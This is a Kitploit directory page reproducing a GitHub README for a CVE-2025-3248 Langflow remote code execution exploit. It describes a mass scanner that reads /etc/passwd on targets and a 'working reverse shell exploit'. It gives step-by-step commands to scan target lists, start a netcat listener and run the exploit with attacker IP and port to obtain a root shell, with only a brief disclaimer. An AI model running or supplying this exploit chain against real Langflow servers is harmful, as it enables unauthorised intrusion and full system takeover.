Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-3248 | Kitploit
Tools/GitHubGitHub/r0otk3r/cve-2025-3248
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubr0otk3r/cve-2025-3248

CVE-2025-3248

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-3248: Langflow Unauthenticated Remote Code Execution (RCE)

This repository contains two Python scripts:

  • LangflowCheck.py: A scanner that checks for Langflow AI instances vulnerable to CVE-2025-3248.
  • exploit.py: A working reverse shell exploit for vulnerable Langflow targets.

Summary

CVE-2025-3248 is a critical vulnerability in Langflow AI that allows unauthenticated attackers to execute arbitrary Python code remotely via a crafted payload to /api/v1/validate/code.


Files

LangflowCheck.py

  • Checks if a target is vulnerable by attempting to execute a harmless payload that reads /etc/passwd.
  • Can scan a single target or a list of URLs.
  • Supports outputting vulnerable targets to a file.

exploit.py

  • Sends a reverse shell payload to the vulnerable endpoint.
  • Requires attacker IP (lhost) and listener port (lport).
  • Logs activity to exploit.log.
  • Supports listener check before sending payload.

Usage

1. Install Requirements

root@kitploit:~
pip install -r requirements.txt

2. Run Vulnerability Scanner

Single URL

root@kitploit:~
python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

1

Multiple Targets

root@kitploit:~
python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

tt

3. Exploit a Target

First, start a listener

root@kitploit:~
sudo nc -nvlp 4444

l

Then, run the exploit:

root@kitploit:~
python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

2

You should receive a shell if the target is vulnerable. root

⚠️ Disclaimer

This exploit is for educational and authorized security testing only. Do not use against systems you do not own or have explicit permission to test.


Official Channels

  • YouTube @rootctf
  • X @r0otk3r
Download Tool